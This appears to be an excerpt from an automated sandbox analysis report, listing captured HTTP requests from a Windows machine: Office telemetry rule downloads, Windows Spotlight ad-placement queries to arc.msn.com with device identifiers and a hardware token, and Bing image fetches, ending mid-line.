Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241208T164533Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=e985612ba0274586b739c33b3d285977&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=619827&metered=false&nettype=ethernet&npid=sc-280815&oemName=icwkdy%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=icwkdy20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=619827&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAVELxFvNU03Tg7Z2E/gE9Cn8EXHzmlsS6ZSIkIvIeG0reLUVeJSbilrW4Hy949NAxOwEn76s5zGhqf92S26HHaUbOENiDFUFbdM1vZReXnnesXoMyCYfLgTivUDBuCZGiy3DtAqR3/7WCegRR2nLr2Quk90EkFIqG0+NVg8kHt0LMKT8hOw5b1J/58kNfc77U/ZXbh7o6PPIdgJlJzSJbORYtJ1Kr5jOMvjtJMYCht4qdDwdRDm4ou1qOD9bE4jzDbmOPZIkfGkQGHMiiP/DOwO6letwVYGsBE7LbMe3CUSyztnIj3rFvvAPGB87AP6q2NEvIE/F5S2iYUdodE9KaJYQZgAAEGAcu8N3qd+O11i6BTnPFZ6wAR7a9XVxBwAtBviNmyfFP9NCqGc8ztODCECQnRVrNYhvoKHQwQeKdhrWS4rpz/Tbh5reYJSv5lqmAXW6Wsza64BZXo5xqSamtLC3lum/cETFIl/2E7SpPnJ7YQKaLSAlnpa/FpM8D110FwrWLxYUg7jdUQlrwK14Jbk+EKH+SKCfEquecZ8+3lGLiVCKeftDzi1/lc8gN+Sc2p4S9FOqYvKuiRb+X96+uFOw4PUdhU1NVgl3P4VxH6RaUfUwZYax62B74NMVXH0ga57y7chFsHFI7H3nZIxjZbQgUqSo5JO9LcVhGLQl0WmeRv2Bydt6ShL8XKaVVCvBjPnO90fHp8cLZpM23mNreAE6SpqLibomI7Od/d2AnGJK+M2Drl4G3EFP/73W/vqpftvS7o/miWz2yVEH45p43924E2e6LyCt1GfpW0vAFelQX7PYh9tKBfHZ8Y9BZLb1kqLhIsYp29gnL5bIy37BnK/qM21iZ4lo701nY5c3SsIBbp+KHaYk4HU7HyRIQIZozmlPu74XhObkeonMEP/Tmvj5B7j3W0oLt8n9CfBE1KCwCIWGNohaTtgB&p=Cache-Control: no-cacheMS-CV: 432tsQ/J1USeXdCg.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241208T164533Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=5e83b02f85da431d9a3983f9103ae094&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=619827&metered=false&nettype=ethernet&npid=sc-338387&oemName=icwkdy%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=icwkdy20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=619827&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAVELxFvNU03Tg7Z2E/gE9Cn8EXHzmlsS6ZSIkIvIeG0reLUVeJSbilrW4Hy949NAxOwEn76s5zGhqf92S26HHaUbOENiDFUFbdM1vZReXnnesXoMyCYfLgTivUDBuCZGiy3DtAqR3/7WCegRR2nLr2Quk90EkFIqG0+NVg8kHt0LMKT8hOw5b1J/58kNfc77U/ZXbh7o6PPIdgJlJzSJbORYtJ1Kr5jOMvjtJMYCht4qdDwdRDm4ou1qOD9bE4jzDbmOPZIkfGkQGHMiiP/DOwO6letwVYGsBE7LbMe3CUSyztnIj3rFvvAPGB87AP6q2NEvIE/F5S2iYUdodE9KaJYQZgAAEGAcu8N3qd+O11i6BTnPFZ6wAR7a9XVxBwAtBviNmyfFP9NCqGc8ztODCECQnRVrNYhvoKHQwQeKdhrWS4rpz/Tbh5reYJSv5lqmAXW6Wsza64BZXo5xqSamtLC3lum/cETFIl/2E7SpPnJ7YQKaLSAlnpa/FpM8D110FwrWLxYUg7jdUQlrwK14Jbk+EKH+SKCfEquecZ8+3lGLiVCKeftDzi1/lc8gN+Sc2p4S9FOqYvKuiRb+X96+uFOw4PUdhU1NVgl3P4VxH6RaUfUwZYax62B74NMVXH0ga57y7chFsHFI7H3nZIxjZbQgUqSo5JO9LcVhGLQl0WmeRv2Bydt6ShL8XKaVVCvBjPnO90fHp8cLZpM23mNreAE6SpqLibomI7Od/d2AnGJK+M2Drl4G3EFP/73W/vqpftvS7o/miWz2yVEH45p43924E2e6LyCt1GfpW0vAFelQX7PYh9tKBfHZ8Y9BZLb1kqLhIsYp29gnL5bIy37BnK/qM21iZ4lo701nY5c3SsIBbp+KHaYk4HU7HyRIQIZozmlPu74XhObkeonMEP/Tmvj5B7j3W0oLt8n9CfBE1KCwCIWGNohaTtgB&p=Cache-Control: no-cacheMS-CV: 432tsQ/J1USeXdCg.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241208T164533Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=599aa2f5c22f41d79b0ab7768e4367d5&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=619827&metered=false&nettype=ethernet&npid=sc-338388&oemName=icwkdy%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=icwkdy20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=619827&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAVELxFvNU03Tg7Z2E/gE9Cn8EXHzmlsS6ZSIkIvIeG0reLUVeJSbilrW4Hy949NAxOwEn76s5zGhqf92S26HHaUbOENiDFUFbdM1vZReXnnesXoMyCYfLgTivUDBuCZGiy3DtAqR3/7WCegRR2nLr2Quk90EkFIqG0+NVg8kHt0LMKT8hOw5b1J/58kNfc77U/ZXbh7o6PPIdgJlJzSJbORYtJ1Kr5jOMvjtJMYCht4qdDwdRDm4ou1qOD9bE4jzDbmOPZIkfGkQGHMiiP/DOwO6letwVYGsBE7LbMe3CUSyztnIj3rFvvAPGB87AP6q2NEvIE/F5S2iYUdodE9KaJYQZgAAEGAcu8N3qd+O11i6BTnPFZ6wAR7a9XVxBwAtBviNmyfFP9NCqGc8ztODCECQnRVrNYhvoKHQwQeKdhrWS4rpz/Tbh5reYJSv5lqmAXW6Wsza64BZXo5xqSamtLC3lum/cETFIl/2E7SpPnJ7YQKaLSAlnpa/FpM8D110FwrWLxYUg7jdUQlrwK14Jbk+EKH+SKCfEquecZ8+3lGLiVCKeftDzi1/lc8gN+Sc2p4S9FOqYvKuiRb+X96+uFOw4PUdhU1NVgl3P4VxH6RaUfUwZYax62B74NMVXH0ga57y7chFsHFI7H3nZIxjZbQgUqSo5JO9LcVhGLQl0WmeRv2Bydt6ShL8XKaVVCvBjPnO90fHp8cLZpM23mNreAE6SpqLibomI7Od/d2AnGJK+M2Drl4G3EFP/73W/vqpftvS7o/miWz2yVEH45p43924E2e6LyCt1GfpW0vAFelQX7PYh9tKBfHZ8Y9BZLb1kqLhIsYp29gnL5bIy37BnK/qM21iZ4lo701nY5c3SsIBbp+KHaYk4HU7HyRIQIZozmlPu74XhObkeonMEP/Tmvj5B7j3W0oLt8n9CfBE1KCwCIWGNohaTtgB&p=Cache-Control: no-cacheMS-CV: 432tsQ/J1USeXdCg.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=88000045&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241208T164537Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=840333e3fde24af4b56dda93f4b9d4d1&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=619827&metered=false&nettype=ethernet&npid=sc-88000045&oemName=icwkdy%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=icwkdy20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=619827&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAVELxFvNU03Tg7Z2E/gE9Cn8EXHzmlsS6ZSIkIvIeG0reLUVeJSbilrW4Hy949NAxOwEn76s5zGhqf92S26HHaUbOENiDFUFbdM1vZReXnnesXoMyCYfLgTivUDBuCZGiy3DtAqR3/7WCegRR2nLr2Quk90EkFIqG0+NVg8kHt0LMKT8hOw5b1J/58kNfc77U/ZXbh7o6PPIdgJlJzSJbORYtJ1Kr5jOMvjtJMYCht4qdDwdRDm4ou1qOD9bE4jzDbmOPZIkfGkQGHMiiP/DOwO6letwVYGsBE7LbMe3CUSyztnIj3rFvvAPGB87AP6q2NEvIE/F5S2iYUdodE9KaJYQZgAAEGAcu8N3qd+O11i6BTnPFZ6wAR7a9XVxBwAtBviNmyfFP9NCqGc8ztODCECQnRVrNYhvoKHQwQeKdhrWS4rpz/Tbh5reYJSv5lqmAXW6Wsza64BZXo5xqSamtLC3lum/cETFIl/2E7SpPnJ7YQKaLSAlnpa/FpM8D110FwrWLxYUg7jdUQlrwK14Jbk+EKH+SKCfEquecZ8+3lGLiVCKeftDzi1/lc8gN+Sc2p4S9FOqYvKuiRb+X96+uFOw4PUdhU1NVgl3P4VxH6RaUfUwZYax62B74NMVXH0ga57y7chFsHFI7H3nZIxjZbQgUqSo5JO9LcVhGLQl0WmeRv2Bydt6ShL8XKaVVCvBjPnO90fHp8cLZpM23mNreAE6SpqLibomI7Od/d2AnGJK+M2Drl4G3EFP/73W/vqpftvS7o/miWz2yVEH45p43924E2e6LyCt1GfpW0vAFelQX7PYh9tKBfHZ8Y9BZLb1kqLhIsYp29gnL5bIy37BnK/qM21iZ4lo701nY5c3SsIBbp+KHaYk4HU7HyRIQIZozmlPu74XhObkeonMEP/Tmvj5B7j3W0oLt8n9CfBE1KCwCIWGNohaTtgB&p=Cache-Control: no-cacheMS-CV: 432tsQ/J1USeXdCg.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239337201808_1NREAF5SJS6TG8GUU&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=24&h=24&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241208T164537Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=5217739720314ee6a50c2f3b2bc4e0a0&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=619827&metered=false&nettype=ethernet&npid=sc-338388&oemName=icwkdy%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=icwkdy20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=619827&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: cid=531538185&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAVELxFvNU03Tg7Z2E/gE9Cn8EXHzmlsS6ZSIkIvIeG0reLUVeJSbilrW4Hy949NAxOwEn76s5zGhqf92S26HHaUbOENiDFUFbdM1vZReXnnesXoMyCYfLgTivUDBuCZGiy3DtAqR3/7WCegRR2nLr2Quk90EkFIqG0+NVg8kHt0LMKT8hOw5b1J/58kNfc77U/ZXbh7o6PPIdgJlJzSJbORYtJ1Kr5jOMvjtJMYCht4qdDwdRDm4ou1qOD9bE4jzDbmOPZIkfGkQGHMiiP/DOwO6letwVYGsBE7LbMe3CUSyztnIj3rFvvAPGB87AP6q2NEvIE/F5S2iYUdodE9KaJYQZgAAEGAcu8N3qd+O11i6BTnPFZ6wAR7a9XVxBwAtBviNmyfFP9NCqGc8ztODCECQnRVrNYhvoKHQwQeKdhrWS4rpz/Tbh5reYJSv5lqmAXW6Wsza64BZXo5xqSamtLC3lum/cETFIl/2E7SpPnJ7YQKaLSAlnpa/FpM8D110FwrWLxYUg7jdUQlrwK14Jbk+EKH+SKCfEquecZ8+3lGLiVCKeftDzi1/lc8gN+Sc2p4S9FOqYvKuiRb+X96+uFOw4PUdhU1NVgl3P4VxH6RaUfUwZYax62B74NMVXH0ga57y7chFsHFI7H3nZIxjZbQgUqSo5JO9LcVhGLQl0WmeRv2Bydt6ShL8XKaVVCvBjPnO90fHp8cLZpM23mNreAE6SpqLibomI7Od/d2AnGJK+M2Drl4G3EFP/73W/vqpftvS7o/miWz2yVEH45p43924E2e6LyCt1GfpW0vAFelQX7PYh9tKBfHZ8Y9BZLb1kqLhIsYp29gnL5bIy37BnK/qM21iZ4lo701nY5c3SsIBbp+KHaYk4HU7HyRIQIZozmlPu74XhObkeonMEP/Tmvj5B7j3W0oLt8n9CfBE1KCwCIWGNohaTtgB&p=Cache-Control: no-cacheMS-CV: 432tsQ/J1USeXdCg.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239399109664_12R6JVR4SJZQSTHCV&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239399109665_1344PV668L57B53FJ&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239395019080_17DEM3LK5H7QUOJTP&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239395019081_1G8JFT41D9TYPNUJJ&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241208T164538Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=8960d1bef70c4875bb58e3d61e142870&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=619827&metered=false&nettype=ethernet&npid=sc-338387&oemName=icwkdy%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=icwkdy20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=619827&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: cid=531167623,531174684,530725852&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: 